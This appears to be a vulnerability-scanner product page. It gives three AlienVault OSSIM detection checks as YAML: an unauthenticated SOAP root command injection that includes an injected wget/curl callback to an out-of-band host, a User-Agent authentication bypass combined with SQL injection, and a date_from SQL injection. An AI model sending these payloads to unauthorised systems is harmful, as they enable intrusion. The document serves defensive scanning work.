AlienVault OSSIM — 3 vulnerability checks
noctis ships 3 vulnerability checks for AlienVault OSSIM, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
AlienVault OSSIM av-centerd SOAP Unauthenticated Root Command Injection
| CVE | CVE-2014-3804, CVE-2014-3805 |
|---|---|
| Severity | critical · CVSS 10.0 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/alienvault-ossim/ossim-av-centerd-soap-rce.yaml |
Detects the unauthenticated root OS command injection in the av-centerd SOAP service of AlienVault OSSIM <= 4.6.1 (AV/CC/Util update_system_info_debian_package). Confirmation is keyed on benign per-run proofs: a shell-computed sum (expr) printed between two markers in the SOAP reply, or an injected wget/curl fetching a per-run OOB URL whose token only a shell can rebuild. Fixed in OSSIM 4.7.0.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /av-centerdwith a crafted body - Checks
soap_resp.bodyforNOCTIS→ finding QoD 97: AlienVault OSSIM av-centerd root command injection confirmed via POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /av-centerdwith a crafted body - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: AlienVault OSSIM av-centerd root command injection confirmed: a wget/curl injected into POST /av-centerd (AV/CC/Util#update_system_info_deb…
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-3804
- https://nvd.nist.gov/vuln/detail/CVE-2014-3805
- https://www.zerodayinitiative.com/advisories/ZDI-14-202/
- https://www.exploit-db.com/exploits/33865
- https://www.rapid7.com/db/modules/exploit/linux/ids/alienvault_centerd_soap_exec/
Feed source — tests/vulnerabilities/alienvault-ossim/ossim-av-centerd-soap-rce.yaml
# AlienVault OSSIM av-centerd — unauthenticated root command injection over SOAP
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_ossim_67999.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.105048, GPL-2.0-only), "AlienVault OSSIM Multiple
# RCE Vulnerabilities" (BID 67999), which tracks CVE-2014-3804 and CVE-2014-3805.
#
# AlienVault OSSIM <= 4.6.1 runs av-centerd, a SOAP::Lite service (TCP 40007, SSL)
# that runs as root and requires no authentication. Its AV::CC::Util methods paste
# SOAP arguments into shell command lines (Perl backticks). ZDI-14-202 /
# Metasploit `alienvault_centerd_soap_exec`: update_system_info_debian_package,
# fifth argument (c-gensym11). Fixed in OSSIM 4.7.0.
#
# The NASL POSTs the update_system_info_debian_package SOAP call to /av-centerd
# with `;id` in c-gensym11 and matches `uid=N...gid=N` in the reply. This feed
# sends the same request (same envelope, SOAPAction and argument), with only the
# command changed:
#
# 1. In-band (QoD 97): `;echo NOCTIS;expr <a> + <b>;echo SITCON` (a, b = per-run
# random 6-digit ints). Only a shell prints the sum, which never appears in
# the request, between the two markers; a SOAP fault or error page that
# reflects the argument cannot produce it. No `$`, `|`, `<`, `>` or backtick
# in the payload (av-centerd blacklists those in some arguments).
# 2. Blind OOB (QoD 97, only when OOB is configured): `;wget ... ;curl ...` of a
# per-run OOB URL whose token is split by an empty '' pair, so only a shell
# rebuilds the callback path (a proxy/IDS fetching URLs seen in the request
# hits a wrong path). Output goes to /dev/null.
#
# Beyond the NASL:
# - `id` is replaced by an inert arithmetic echo whose result is not in the
# request (the NASL's uid= regex also matches any page that happens to list
# user ids).
# - The NASL needs the command output in the SOAP reply. A build or method that
# runs the command without returning its output is missed by the NASL; the
# OOB branch confirms it blind.
# - The NASL hardcodes port 40007 and needs a prior OSSIM web-UI detection
# (get_app_port). The feed probes /av-centerd on every http/https port found,
# so it also finds av-centerd on a non-default port or behind a proxy, and
# needs no web-UI fingerprint.
uid: 20d3a157-0a9a-4684-982d-190e99776ed8
name: "AlienVault OSSIM av-centerd SOAP Unauthenticated Root Command Injection"
description: |
Detects the unauthenticated root OS command injection in the av-centerd SOAP service
of AlienVault OSSIM <= 4.6.1 (AV/CC/Util update_system_info_debian_package).
Confirmation is keyed on benign per-run proofs: a shell-computed sum (expr) printed
between two markers in the SOAP reply, or an injected wget/curl fetching a per-run OOB
URL whose token only a shell can rebuild. Fixed in OSSIM 4.7.0.
cves: [CVE-2014-3804, CVE-2014-3805]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [alienvault, ossim, av-centerd, soap, command-injection, rce, root, oob, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3804"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-3805"
- "https://www.zerodayinitiative.com/advisories/ZDI-14-202/"
- "https://www.exploit-db.com/exploits/33865"
- "https://www.rapid7.com/db/modules/exploit/linux/ids/alienvault_centerd_soap_exec/"
- "OpenVAS/Greenbone NASL 2014/gb_ossim_67999.nasl (GPL-2.0-only)"
steps:
# Per-run operands; the shell prints NOCTIS\n<a+b>\nSITCON.
- id: gen-tokens
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, sum: "" + (a + b) }
store_as: ov
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-soap-resp
action: set_var
var_name: soap_resp
var_value: {status: 0, body: null}
# ── 1. In-band: the NASL request, command = echo/expr/echo ───────────────
- id: inject-inband
action: http_request
method: POST
path: "/av-centerd"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
SOAPAction: "\"AV/CC/Util#update_system_info_debian_package\""
Content-Type: "text/xml; charset=UTF-8"
body: "<soap:Envelope soap:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soapenc='http://schemas.xmlsoap.org/soap/encoding/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'><soap:Body><update_system_info_debian_package xmlns='AV/CC/Util'><c-gensym3 xsi:type='xsd:string'>NOCTIS</c-gensym3><c-gensym5 xsi:type='xsd:string'>NOCTIS</c-gensym5><c-gensym7 xsi:type='xsd:string'>NOCTIS</c-gensym7><c-gensym9 xsi:type='xsd:string'>NOCTIS</c-gensym9><c-gensym11 xsi:type='xsd:string'>;echo NOCTIS;expr {{ov.a}} + {{ov.b}};echo SITCON</c-gensym11></update_system_info_debian_package></soap:Body></soap:Envelope>"
store_as: soap_resp
# The sum sits between the two markers, separated only by whitespace (raw
# newlines, or /
 entities if the SOAP serializer escapes them).
- id: confirm-inband
action: match
source: soap_resp.body
pattern: "NOCTIS"
condition: "type_of(soap_resp.body) == \"string\" && ereg(\"NOCTIS(\\\\s|&#(10|13|x[aAdD]);)+\" + ov.sum + \"(\\\\s|&#(10|13|x[aAdD]);)+SITCON\", soap_resp.body)"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "AlienVault OSSIM av-centerd root command injection confirmed via POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11): a shell computed expr {{ov.a}} + {{ov.b}} = {{ov.sum}} between the NOCTIS/SITCON markers in the SOAP reply (HTTP {{soap_resp.status}})"
stop: true
# ── 2. Blind OOB: wget + curl of a ''-split per-run URL ──────────────────
# Skipped when /av-centerd is absent (404) or nothing answered: an ordinary
# web server gets one request instead of two plus a 20 s callback wait.
- id: split-oob-token
action: script
condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
code: |
let n = strlen(oob_token);
#{ a: substr(oob_token, 0, 7), b: substr(oob_token, 8, n - 1) }
store_as: oobsplit
- id: inject-oob
action: http_request
method: POST
path: "/av-centerd"
port: "{{port}}"
condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
SOAPAction: "\"AV/CC/Util#update_system_info_debian_package\""
Content-Type: "text/xml; charset=UTF-8"
body: "<soap:Envelope soap:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' xmlns:soapenc='http://schemas.xmlsoap.org/soap/encoding/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'><soap:Body><update_system_info_debian_package xmlns='AV/CC/Util'><c-gensym3 xsi:type='xsd:string'>NOCTIS</c-gensym3><c-gensym5 xsi:type='xsd:string'>NOCTIS</c-gensym5><c-gensym7 xsi:type='xsd:string'>NOCTIS</c-gensym7><c-gensym9 xsi:type='xsd:string'>NOCTIS</c-gensym9><c-gensym11 xsi:type='xsd:string'>;wget -q -O /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}};curl -s -o /dev/null http://{{oob_host}}:{{oob_port}}/{{oobsplit.a}}''{{oobsplit.b}}</c-gensym11></update_system_info_debian_package></soap:Body></soap:Envelope>"
store_as: oob_resp
- id: wait-callback
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && soap_resp.status != 404 && soap_resp.status != 0"
store_as: oob_result
on_success:
finding:
confidence_delta: 0.67
qod: 97
evidence: "AlienVault OSSIM av-centerd root command injection confirmed: a wget/curl injected into POST /av-centerd (AV/CC/Util#update_system_info_debian_package, c-gensym11) fetched the per-run OOB URL, whose token only a shell could rebuild from its ''-split form (HTTP callback received)"
stop: trueAlienVault OSSIM/USM Authentication Bypass via Report Scheduler User-Agent
| CVE | CVE-2016-7955 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/alienvault-ossim/CVE-2016-7955.yaml |
Tests AlienVault OSSIM and USM before 5.3.1 for the authentication bypass in which the web UI trusts requests whose User-Agent is "AV Report Scheduler". In the /ossim directory and in the web root, the feed requests the dashboard gauge widget (/dashboard/sections/widgets/data/gauge.php) with that User-Agent and a serialized value carrying an SQL fragment that makes the database compute the product of two random numbers inside an XPath error. Finding the product in the page proves that the login was skipped and that the injected query ran; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads no table and changes nothing. A second request without the special User-Agent shows whether the server asks for a login.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=foo&asset=ALL_ASSE… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=foo&asset=ALL_ASSE… - Parses / computes the next value with a Rhai script
- Checks
prooffor^XPATH syntax error: :[0-9]+$→ finding QoD 97: AlienVault OSSIM/USM Authentication Bypass via Report Scheduler User-Agent (CVE-2016-7955)
References:
Feed source — tests/vulnerabilities/alienvault-ossim/CVE-2016-7955.yaml
# AlienVault OSSIM / USM < 5.3.1 — authentication bypass via the "AV Report
# Scheduler" User-Agent (CVE-2016-7955)
#
# In OSSIM and USM before 5.3.1, the logcheck() function of session.inc skips
# the login check for any request whose User-Agent is "AV Report Scheduler"
# (the report scheduler's own client), once a report action exists. A remote
# attacker therefore reaches every page of the web UI without logging in. The
# advisory chains it with a PHP object injection and an SQL injection in
# /dashboard/sections/widgets/data/gauge.php (parameter `value`, a serialized
# array whose `type` member is pasted into a query). Fixed in 5.3.1.
#
# Detection (benign, read-only), per candidate web root ("/ossim", ""):
# GET <dir>/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=foo&
# asset=ALL_ASSETS&height=1&value=<serialized array>
# with `User-Agent: AV Report Scheduler`. The array's `type` member is
# `1 AND extractvalue(rand(),concat(0x3a,(SELECT <a>*<b>)))-- `, a and b
# being per-run random 6-digit integers. A vulnerable server skips the login,
# unserializes the value and runs the query: MySQL raises
# "XPATH syntax error: ':<a×b>'", which the page prints. Reading one computed
# constant touches no table and changes nothing. QoD 97.
# A control request without the User-Agent is sent after a hit; it is only
# reported in the evidence (a redirect to the login page shows the bypass is
# the cause).
#
# Improvements over the source NASL:
# - The NASL selects `SELECT '<rand>'` and matches the random string, which is
# itself part of the request, so any page that echoes the failing query
# in an error message would be reported. The feed selects a product that
# only the database can compute and matches it right after "XPATH syntax
# error: '".
# - The NASL needs the OSSIM web-UI detection (CPE + install path) from an
# earlier plugin. The feed probes "/ossim" and the web root by itself.
# - The serialized length (s:<n>) is computed from the payload.
#
# CVSS: CVE-2016-7955 v3.0 9.8 (NVD). The feed proves the bypass together with
# the gauge.php injection; the injection has its own CVE in the same advisory,
# not claimed here.
#
# Ported from OpenVAS/Greenbone NVT 2017/gb_alienvault_ossim_usm_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.106617, GPL-2.0-only).
uid: 5d8c2f61-3b7a-4e0e-9c14-7a2f6b1d8e93
name: "AlienVault OSSIM/USM Authentication Bypass via Report Scheduler User-Agent (CVE-2016-7955)"
description: |
Tests AlienVault OSSIM and USM before 5.3.1 for the authentication bypass in
which the web UI trusts requests whose User-Agent is "AV Report Scheduler".
In the /ossim directory and in the web root, the feed requests the dashboard
gauge widget (/dashboard/sections/widgets/data/gauge.php) with that
User-Agent and a serialized value carrying an SQL fragment that makes the
database compute the product of two random numbers inside an XPath error.
Finding the product in the page proves that the login was skipped and that
the injected query ran; the product is not part of the request, so a page
that only echoes the URL is not reported. The probe reads no table and
changes nothing. A second request without the special User-Agent shows
whether the server asks for a login.
cves: [CVE-2016-7955]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.30
tags: [alienvault, ossim, usm, auth-bypass, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2016-7955"
# OpenVAS/Greenbone NASL 2017/gb_alienvault_ossim_usm_mult_vuln.nasl (GPL-2.0-only)
steps:
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-product
action: script
code: '"" + (m.a * m.b)'
store_as: prod
# value = a:1:{s:4:"type";s:<len>:"<sql>";} — url-encoded
- id: mint-sql
action: script
code: '"1 AND extractvalue(rand(),concat(0x3a,(SELECT " + m.a + "*" + m.b + ")))-- "'
store_as: sql
- id: mint-value
action: script
code: |
"a%3a1%3a%7bs%3a4%3a%22type%22%3bs%3a" + strlen(sql) + "%3a%22" + str_replace(str_replace(str_replace(str_replace(sql, " ", "%20"), "(", "%28"), ")", "%29"), ",", "%2c") + "%22%3b%7d"
store_as: val
- id: init-proof
action: set_var
var_name: proof
var_value: ""
- id: init-ctl-note
action: set_var
var_name: ctl_note
var_value: ""
# ── Loop group: every step below runs once per candidate web root ────────
- id: init-bypass
action: set_var
var_name: bypass
var_value: {status: 0, body: ""}
loop:
over: ["/ossim", ""]
var: dir
- id: init-control
action: set_var
var_name: control
var_value: {status: 0, body: ""}
- id: bypass-probe
action: http_request
method: GET
path: "{{dir}}/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=foo&asset=ALL_ASSETS&height=1&value={{val}}"
headers:
User-Agent: "AV Report Scheduler"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: bypass
# The error text may be HTML-escaped by a front end; accept the quote in any
# common form, or none.
- id: verdict
action: script
code: |
if type_of(bypass.body) == "string" && bypass.status == 200 && egrep("XPATH syntax error: (?:'|�?39;|'|')?:" + prod, bypass.body) != "" { "XPATH syntax error: :" + prod } else { "" }
store_as: proof
- id: control-probe
action: http_request
method: GET
path: "{{dir}}/dashboard/sections/widgets/data/gauge.php?type=alarm&wtype=foo&asset=ALL_ASSETS&height=1&value={{val}}"
headers:
User-Agent: "Mozilla/5.0"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: 'proof != ""'
store_as: control
- id: control-note
action: script
code: |
if proof == "" { "" }
else if control.status >= 300 && control.status < 400 { "a request without that User-Agent was redirected (HTTP " + control.status + ")" }
else if control.status == 401 { "a request without that User-Agent was refused (HTTP 401)" }
else { "a request without that User-Agent was also served (no login required at all)" }
store_as: ctl_note
- id: report
action: match
source: proof
pattern: "^XPATH syntax error: :[0-9]+$"
on_match:
finding:
title: "AlienVault OSSIM/USM Authentication Bypass via Report Scheduler User-Agent (CVE-2016-7955)"
description: "An unauthenticated GET to the dashboard gauge widget with the User-Agent \"AV Report Scheduler\" was served without a login, and the SQL fragment in its value parameter made the database compute the product of two random numbers, which came back in the page. The report scheduler User-Agent lets anyone skip the web UI login; the same request can inject any query the database user may run."
remediation: "Upgrade AlienVault OSSIM / USM to 5.3.1 or later, which no longer trusts the User-Agent header. Until then, block requests carrying the \"AV Report Scheduler\" User-Agent at a reverse proxy and restrict the web UI to trusted networks."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/dashboard/sections/widgets/data/gauge.php with User-Agent AV Report Scheduler and a value computing {{m.a}}*{{m.b}} returned the database-computed result: {{proof}}; {{ctl_note}}"
stop: trueAlienVault OSSIM <= 4.3 RadarReport date_from SQL injection
| CVE | CVE-2013-5967 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/alienvault-ossim/CVE-2013-5967.yaml |
The report scripts under RadarReport/ of AlienVault OSSIM 4.3 and earlier (radar-iso27001-potential.php and four sibling scripts, including radar-pci-potential.php) pass the date_from parameter to the database without escaping, allowing unauthenticated SQL injection against the datawarehouse database.
Under the web root and /ossim, this check first requests each report with a plain date and requires that no MySQL syntax error appears. It then sends date_from with a single quote followed by a random token. The finding is raised when the response contains a MySQL syntax error that quotes the random token and names the datawarehouse.ssi_user table, which proves the parameter reaches the SQL statement. Nothing is written and no data is read.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{rp}}?date_from=2013-01-01 - HTTP(S) request
GET {{rp}}?date_from=%27{{gen.tok}} - Parses / computes the next value with a Rhai script
- Checks
res.foundfor^ERR$→ finding QoD 75: AlienVault OSSIM RadarReport date_from SQL injection (CVE-2013-5967)
References:
Feed source — tests/vulnerabilities/alienvault-ossim/CVE-2013-5967.yaml
# AlienVault OSSIM <= 4.3 RadarReport date_from SQL injection (CVE-2013-5967)
#
# The ISO 27001 / PCI radar reports of the OSSIM web UI (RadarReport/) put the
# date_from parameter unescaped into a query on the datawarehouse database.
# A stray quote makes MySQL answer "You have an error in your SQL syntax ...
# near '<our text>'" together with the failing statement, which names the
# datawarehouse.ssi_user table.
#
# Detection (per candidate path, web root and /ossim):
# 0. Control — the report with a plain date must not contain the MySQL
# syntax error.
# 1. QoD 75 — date_from=' + a random token: the response must carry the MySQL
# syntax error quoting our random token (the server echoes what it was
# given back inside the error) and the datawarehouse.ssi_user table name.
#
# Read-only: a single stray quote, nothing is written and no data is read.
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_alien_vault_ossim_mult_sql_inj_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.804028, GPL-2.0-only). Differences: the NASL only
# tries one script under the document root with a fixed marker string; here all
# five affected report scripts are tried under the web root and /ossim, the
# marker is random (a page that merely contains the fixed text cannot match),
# and a control request without the quote rules out pages that always print the
# error.
# CVSS: NVD carries only a CVSS v2 score (7.5).
uid: c0482235-666d-4080-8e47-d74711f47fc8
name: "AlienVault OSSIM <= 4.3 RadarReport date_from SQL injection (CVE-2013-5967)"
description: |
The report scripts under RadarReport/ of AlienVault OSSIM 4.3 and earlier
(radar-iso27001-potential.php and four sibling scripts, including
radar-pci-potential.php) pass the date_from parameter to the database
without escaping, allowing unauthenticated SQL injection against the
datawarehouse database.
Under the web root and /ossim, this check first requests each report with a
plain date and requires that no MySQL syntax error appears. It then sends
date_from with a single quote followed by a random token. The finding is
raised when the response contains a MySQL syntax error that quotes the
random token and names the datawarehouse.ssi_user table, which proves the
parameter reaches the SQL statement. Nothing is written and no data is read.
cves: [CVE-2013-5967]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [alienvault, ossim, php, sqli, error-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-5967"
steps:
- id: gen-token
action: script
code: |
#{ tok: "NCT" + rand_int(100000, 999999) }
store_as: gen
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-ctl
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
loop:
over: ["/RadarReport/radar-iso27001-potential.php", "/RadarReport/radar-iso27001-A12IS_acquisition-pot.php", "/RadarReport/radar-iso27001-A11AccessControl-pot.php", "/RadarReport/radar-iso27001-A10Com_OP_Mgnt-pot.php", "/RadarReport/radar-pci-potential.php", "/ossim/RadarReport/radar-iso27001-potential.php", "/ossim/RadarReport/radar-iso27001-A12IS_acquisition-pot.php", "/ossim/RadarReport/radar-iso27001-A11AccessControl-pot.php", "/ossim/RadarReport/radar-iso27001-A10Com_OP_Mgnt-pot.php", "/ossim/RadarReport/radar-pci-potential.php"]
var: rp
- id: init-inj
action: set_var
var_name: inj_resp
var_value: {status: 0, body: null}
- id: control
action: http_request
method: GET
port: "{{port}}"
path: "{{rp}}?date_from=2013-01-01"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
- id: inject
action: http_request
method: GET
port: "{{port}}"
path: "{{rp}}?date_from=%27{{gen.tok}}"
condition: 'ctl_resp.status == 200 && type_of(ctl_resp.body) == "string" && stridx(ctl_resp.body, "error in your SQL syntax") < 0'
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: inj_resp
- id: check
action: script
code: |
let b = if type_of(inj_resp.body) == "string" { inj_resp.body } else { "" };
let ok = inj_resp.status == 200
&& ereg("(?s)You have an error in your SQL syntax.*" + gen.tok, b)
&& stridx(b, "datawarehouse.ssi_user") >= 0;
#{ ok: ok, found: if ok { "ERR" } else { "" } }
store_as: res
- id: report
action: match
source: res.found
pattern: "^ERR$"
condition: "res.ok"
on_match:
finding:
title: "AlienVault OSSIM RadarReport date_from SQL injection (CVE-2013-5967)"
description: "The date_from parameter of the OSSIM RadarReport scripts reaches a SQL statement unescaped: a stray quote produced a MySQL syntax error quoting the injected text and naming the datawarehouse.ssi_user table. An unauthenticated attacker can run arbitrary SQL against the OSSIM datawarehouse."
remediation: "Upgrade AlienVault OSSIM to a release that validates date_from in the RadarReport scripts, and restrict access to the web interface to trusted networks."
confidence_delta: 0.50
qod: 75
evidence: "{{rp}}?date_from=' followed by {{gen.tok}} returned a MySQL syntax error quoting the token and naming datawarehouse.ssi_user (the control request with a plain date did not)"
stop: true